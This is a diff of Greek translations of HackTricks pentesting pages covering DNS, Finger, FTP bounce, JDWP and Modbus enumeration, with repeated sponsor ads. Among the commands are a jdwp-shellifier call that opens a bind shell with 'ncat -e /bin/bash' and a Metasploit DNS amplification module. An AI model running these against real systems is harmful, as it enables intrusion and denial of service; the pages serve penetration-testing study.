Μπορείτε να κάνετε ερωτήσεις για αντίστροφες περιοχές IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP). Μπορείτε να κάνετε ερωτήσεις για αντίστροφες περιοχές IP στο [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (αυτό το εργαλείο είναι επίσης χρήσιμο με το BGP).
### DNS - BF Υποτομέων ### DNS - Υποτομείς BF
```bash ```bash
dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN> dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS> dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
@ -155,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
``` ```
### DNS Recursion DDoS ### DNS Recursion DDoS
Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον θιγόμενο διακομιστή**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν για να έχουν τις μεγαλύτερες απαντήσεις.\ Αν **η αναδρομή DNS είναι ενεργοποιημένη**, ένας επιτιθέμενος θα μπορούσε να **παραποιήσει** την **προέλευση** στο πακέτο UDP προκειμένου να κάνει το **DNS να στείλει την απάντηση στον διακομιστή θύμα**. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τους τύπους εγγραφών **ANY** ή **DNSSEC** καθώς χρησιμοποιούν για να έχουν τις μεγαλύτερες απαντήσεις.\
Ο τρόπος για να **ελέγξετε** αν ένα DNS υποστηρίζει **αναδρομή** είναι να κάνετε ερώτηση σε ένα όνομα τομέα και να **ελέγξετε** αν η **σημαία "ra"** (_διαθέσιμη αναδρομή_) είναι στην απάντηση: Ο τρόπος για να **ελέγξετε** αν ένα DNS υποστηρίζει **αναδρομή** είναι να κάνετε ερώτηση σε ένα όνομα τομέα και να **ελέγξετε** αν η **σημαία "ra"** (_διαθέσιμη αναδρομή_) είναι στην απάντηση:
```bash ```bash
dig google.com A @<IP> dig google.com A @<IP>
@ -170,7 +172,9 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεση διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε έναν πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -180,7 +184,7 @@ dig google.com A @<IP>
Η παρεχόμενη αναφορά μη παράδοσης περιλαμβάνει πληροφορίες όπως: Η παρεχόμενη αναφορά μη παράδοσης περιλαμβάνει πληροφορίες όπως:
* Ο διακομιστής που δημιούργησε την ειδοποίηση αναγνωρίστηκε ως `server.example.com`. * Ο διακομιστής που δημιούργησε την αναφορά αναγνωρίστηκε ως `server.example.com`.
* Μια ειδοποίηση αποτυχίας για `user@example.com` με τον κωδικό σφάλματος `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` επιστράφηκε. * Μια ειδοποίηση αποτυχίας για `user@example.com` με τον κωδικό σφάλματος `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` επιστράφηκε.
* Εσωτερικές διευθύνσεις IP και ονόματα υπολογιστών αποκαλύφθηκαν στα αρχικά μηνύματα κεφαλίδας. * Εσωτερικές διευθύνσεις IP και ονόματα υπολογιστών αποκαλύφθηκαν στα αρχικά μηνύματα κεφαλίδας.
```markdown ```markdown
@ -220,10 +224,10 @@ Dangerous settings when configuring a Bind server:
| **Option** | **Description** | | **Option** | **Description** |
| ----------------- | ------------------------------------------------------------------------------ | | ----------------- | ------------------------------------------------------------------------------ |
| `allow-query` | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αιτήματα στον διακομιστή DNS. | | `allow-query` | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αιτήματα στον DNS server. |
| `allow-recursion` | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αναδρομικά αιτήματα στον διακομιστή DNS. | | `allow-recursion` | Ορίζει ποιες υπολογιστές επιτρέπεται να στέλνουν αναδρομικά αιτήματα στον DNS server. |
| `allow-transfer` | Ορίζει ποιες υπολογιστές επιτρέπεται να λαμβάνουν μεταφορές ζωνών από τον διακομιστή DNS. | | `allow-transfer` | Ορίζει ποιες υπολογιστές επιτρέπεται να λαμβάνουν μεταφορές ζωνών από τον DNS server. |
| `zone-statistics` | Συλλέγει στατιστικά δεδομένα ζωνών. | | `zone-statistics` | Συλλέγει στατιστικά δεδομένα ζωνών. |
## References ## References
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεση διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -295,7 +301,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -17,22 +17,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Βασικές Πληροφορίες** ## **Basic Info**
Το **Finger** πρόγραμμα/υπηρεσία χρησιμοποιείται για την ανάκτηση λεπτομερειών σχετικά με τους χρήστες υπολογιστών. Συνήθως, οι πληροφορίες που παρέχονται περιλαμβάνουν το **όνομα σύνδεσης του χρήστη, το πλήρες όνομα** και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον λεπτομέρειες θα μπορούσαν να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (αν είναι διαθέσιμος), την ώρα που ο χρήστης συνδέθηκε, την περίοδο αδράνειας (idle time), την τελευταία φορά που διαβάστηκε το email από τον χρήστη και το περιεχόμενο των σχεδίων και αρχείων έργου του χρήστη. Το **Finger** πρόγραμμα/υπηρεσία χρησιμοποιείται για την ανάκτηση λεπτομερειών σχετικά με τους χρήστες υπολογιστών. Συνήθως, οι πληροφορίες που παρέχονται περιλαμβάνουν το **όνομα σύνδεσης του χρήστη, το πλήρες όνομα** και, σε ορισμένες περιπτώσεις, επιπλέον λεπτομέρειες. Αυτές οι επιπλέον λεπτομέρειες θα μπορούσαν να περιλαμβάνουν την τοποθεσία του γραφείου και τον αριθμό τηλεφώνου (αν είναι διαθέσιμος), την ώρα που ο χρήστης συνδέθηκε, την περίοδο αδράνειας (idle time), την τελευταία φορά που διαβάστηκε το email από τον χρήστη και το περιεχόμενο των αρχείων σχεδίου και έργου του χρήστη.
**Προεπιλεγμένη θύρα:** 79 **Default port:** 79
``` ```
PORT STATE SERVICE PORT STATE SERVICE
79/tcp open finger 79/tcp open finger
``` ```
## **Καταμέτρηση** ## **Αναγνώριση**
### **Λήψη Πανό/Βασική σύνδεση** ### **Λήψη πανό/Βασική σύνδεση**
```bash ```bash
nc -vn <IP> 79 nc -vn <IP> 79
echo "root" | nc -vn <IP> 79 echo "root" | nc -vn <IP> 79
@ -51,7 +53,7 @@ finger-user-enum.pl -U users.txt -T ips.txt
``` ```
#### **Nmap εκτελεί ένα σενάριο για να χρησιμοποιήσει τα προεπιλεγμένα σενάρια** #### **Nmap εκτελεί ένα σενάριο για να χρησιμοποιήσει τα προεπιλεγμένα σενάρια**
### Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap ### Το Metasploit χρησιμοποιεί περισσότερα κόλπα από το Nmap
``` ```
use auxiliary/scanner/finger/finger_users use auxiliary/scanner/finger/finger_users
``` ```
@ -73,7 +75,9 @@ finger @internal@external
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφα και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,7 +15,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -34,19 +36,21 @@
## Βήματα ## Βήματα
1. Συνδεθείτε στον δικό σας FTP server και κάντε τη σύνδεση παθητική \(εντολή pasv\) για να τον κάνετε να ακούει σε έναν κατάλογο όπου η υπηρεσία του θύματος θα στείλει το αρχείο 1. Συνδεθείτε στον δικό σας FTP server και κάντε τη σύνδεση παθητική \(εντολή pasv\) για να ακούει σε έναν κατάλογο όπου η υπηρεσία του θύματος θα στείλει το αρχείο
2. Δημιουργήστε το αρχείο που θα στείλει ο FTP Middle server στον Victim server \(η εκμετάλλευση\). Αυτό το αρχείο θα είναι ένα απλό κείμενο με τις απαραίτητες εντολές για να αυθεντικοποιηθείτε στον Victim server, να αλλάξετε τον κατάλογο και να κατεβάσετε ένα αρχείο στον δικό σας server. 2. Δημιουργήστε το αρχείο που θα στείλει ο FTP Middle server στον Victim server \(το exploit\). Αυτό το αρχείο θα είναι ένα απλό κείμενο με τις απαραίτητες εντολές για να αυθεντικοποιηθείτε στον Victim server, να αλλάξετε τον κατάλογο και να κατεβάσετε ένα αρχείο στον δικό σας server.
3. Συνδεθείτε στον FTP Middle Server και ανεβάστε το προηγούμενο αρχείο 3. Συνδεθείτε στον FTP Middle Server και ανεβάστε το προηγούμενο αρχείο
4. Κάντε τον FTP Middle server να δημιουργήσει μια σύνδεση με τον victim server και να στείλει το αρχείο εκμετάλλευσης 4. Κάντε τον FTP Middle server να καθιερώσει μια σύνδεση με τον victim server και να στείλει το exploit αρχείο
5. Συλλέξτε το αρχείο στον δικό σας FTP server 5. Συλλέξτε το αρχείο στον δικό σας FTP server
6. Διαγράψτε το αρχείο εκμετάλλευσης από τον FTP Middle server 6. Διαγράψτε το exploit αρχείο από τον FTP Middle server
Για περισσότερες λεπτομέρειες, ελέγξτε την ανάρτηση: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) Για περισσότερες λεπτομέρειες, ελέγξτε την ανάρτηση: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,17 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να αποκτήσουν πρόσβαση και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Εκμετάλλευση ## Exploiting
Η εκμετάλλευση του JDWP βασίζεται στην **έλλειψη αυθεντικοποίησης και κρυπτογράφησης του πρωτοκόλλου**. Γενικά βρίσκεται σε **θύρα 8000**, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχευμένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτή η χειραψία λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο. Η εκμετάλλευση του JDWP βασίζεται στην **έλλειψη αυθεντικοποίησης και κρυπτογράφησης του πρωτοκόλλου**. Γενικά βρίσκεται σε **θύρα 8000**, αλλά είναι δυνατές και άλλες θύρες. Η αρχική σύνδεση γίνεται στέλνοντας ένα "JDWP-Handshake" στη στοχοθετημένη θύρα. Εάν μια υπηρεσία JDWP είναι ενεργή, απαντά με την ίδια συμβολοσειρά, επιβεβαιώνοντας την παρουσία της. Αυτό το handshake λειτουργεί ως μέθοδος αναγνώρισης για την ταυτοποίηση υπηρεσιών JDWP στο δίκτυο.
Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδηλώνει μια ενεργή συνεδρία JDWP. Όσον αφορά την αναγνώριση διαδικασιών, η αναζήτηση της συμβολοσειράς "jdwk" σε διαδικασίες Java μπορεί να υποδείξει μια ενεργή συνεδρία JDWP.
Το εργαλείο αναφοράς είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διάφορες παραμέτρους: Το εργαλείο αναφοράς είναι το [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Μπορείτε να το χρησιμοποιήσετε με διαφορετικές παραμέτρους:
```bash ```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
@ -80,7 +82,9 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,7 +15,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεση διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -29,7 +31,7 @@
PORT STATE SERVICE PORT STATE SERVICE
502/tcp open modbus 502/tcp open modbus
``` ```
# Αριθμητική # Καταμέτρηση
```bash ```bash
nmap --script modbus-discover -p 502 <IP> nmap --script modbus-discover -p 502 <IP>
msf> use auxiliary/scanner/scada/modbusdetect msf> use auxiliary/scanner/scada/modbusdetect
@ -43,7 +45,9 @@ msf> use auxiliary/scanner/scada/modbus_findunitid
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & pentesting**. Εκτελέστε έναν πλήρη pentest από οπουδήποτε με 20+ εργαλεία & δυνατότητες που κυμαίνονται από αναγνώριση έως αναφορά. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, μονάδες ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν κέλυφος και να διασκεδάσουν. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information ## Basic Information
